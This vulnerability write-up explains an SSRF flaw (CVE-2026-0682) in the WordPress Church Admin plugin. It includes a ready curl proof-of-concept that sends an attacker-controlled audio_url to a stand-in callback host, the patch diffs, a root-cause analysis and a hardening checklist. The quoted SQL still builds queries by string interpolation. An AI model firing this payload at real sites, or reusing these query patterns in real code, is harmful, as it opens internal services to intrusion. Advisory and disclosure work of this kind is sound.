The Exploit
Requires an authenticated Administrator account.
TARGET="https://target.example"
COOKIE="wordpress_logged_in_abcd1234=..."
curl -i -X POST "$TARGET/wp-admin/admin.php?page=church_admin_sermons&action=save" \
-H "Cookie: $COOKIE" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-raw "audio_url=http://attacker.example/ssrf-callback&file_name=test.mp3&file_title=Test&service_id=1&series_id=1&speaker=1&private=0&length=0"
The Church Admin server will dereference the attacker-controlled audio_url while resolving the sermon file type. The attacker can confirm successful SSRF by observing an incoming HTTP request on http://attacker.example/ssrf-callback, even though the WordPress admin response itself remains generic.
Why this still matters at admin:
An admin session can be stolen, forged, or abused by a malicious insider; once authenticated, the attacker can make the site query internal-only services such as metadata endpoints, backend APIs, or localhost. The plugin’s audio_url field is a direct SSRF vector in the sermon editor.
What the Patch Did
Before:
$sqlsafe['audio_url']=$form['audio_url'];
$audioURL=$form['audio_url'];
church_admin_debug('URL: '.$sqlsafe['audio_url']);
$mimeType=church_admin_getRemoteMimeType( $sqlsafe['audio_url'] );
$dot_and_ext = substr($sqlsafe['audio_url'] ,-4);
After:
$sqlsafe['audio_url']=esc_sql($form['audio_url']);
$audioURL=$form['audio_url'];
$mimeType=church_admin_getRemoteMimeType( $sqlsafe['audio_url'] );//doesn't work for all servers
$ext = substr($form['audio_url'],-4);
Before:
if ( empty( $file_id) )$file_id=$wpdb->get_var('SELECT file_id FROM '.$wpdb->prefix.'church_admin_sermon_files WHERE external_file="'.$sqlsafe['audio_url'].'" AND length="'.$length.'" AND private="'.$private.'" AND file_name="'.$file_name.'" AND file_title="'.$sqlsafe['file_title'].'" AND file_description="'.$sqlsafe['file_description'].'" AND service_id="'.$sqlsafe['service_id'].'" AND series_id="'.$sqlsafe['series_id'].'" AND speaker="'.$speaker.'"');
After:
if ( empty( $file_id) )$file_id=$wpdb->get_var('SELECT file_id FROM '.$wpdb->prefix.'church_admin_sermon_files WHERE external_file="'.esc_sql($form['audio_url']).'" AND length="'.$length.'" AND private="'.$private.'" AND file_name="'.$file_name.'" AND file_title="'.$sqlsafe['file_title'].'" AND file_description="'.$sqlsafe['file_description'].'" AND service_id="'.$sqlsafe['service_id'].'" AND series_id="'.$sqlsafe['series_id'].'" AND speaker="'.$speaker.'"');
The patch added esc_sql() around the user-controlled audio_url before it is interpolated into SQL queries. That is a WordPress database escaping control for the $wpdb API.
Root Cause
This is CWE-918: Server-Side Request Forgery. User-supplied POST data from audio_url is stored in $form['audio_url'], copied into $sqlsafe['audio_url'], and then passed without validation into church_admin_getRemoteMimeType(). That function performs an outbound HTTP request on behalf of the application, so the attacker-controlled audio_url crosses the boundary from user input into the server-side HTTP client and can reach internal or localhost-only endpoints.
Why It Works
The load-bearing line is the remote MIME-type lookup:
$mimeType=church_admin_getRemoteMimeType( $sqlsafe['audio_url'] );
If this line did not exist, the server would not make the SSRF call. The added esc_sql() calls protect the SQL query paths but do not stop the remote fetch, because esc_sql() is designed for database escaping, not URL validation. The other changes in the patch — escaping the SQL source and switching extension extraction to use $form['audio_url'] directly — are repair work for query safety and string handling, not for the SSRF sink itself.
Hardening Checklist
- Validate URLs before remote fetch with
wp_http_validate_url( $url )and reject local/internal addresses. - Escape database input with
esc_sql()or, preferably, use$wpdb->prepare()for all SQL statements. - Sanitize URL fields with
esc_url_raw()orsanitize_text_field()before storing or reusing them. - Restrict admin-only actions with
current_user_can( 'manage_options' )or the plugin’s specific capability check. - Avoid dereferencing user-supplied URLs unless absolutely necessary; if needed, perform the lookup server-side only after strict allowlisting.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-0682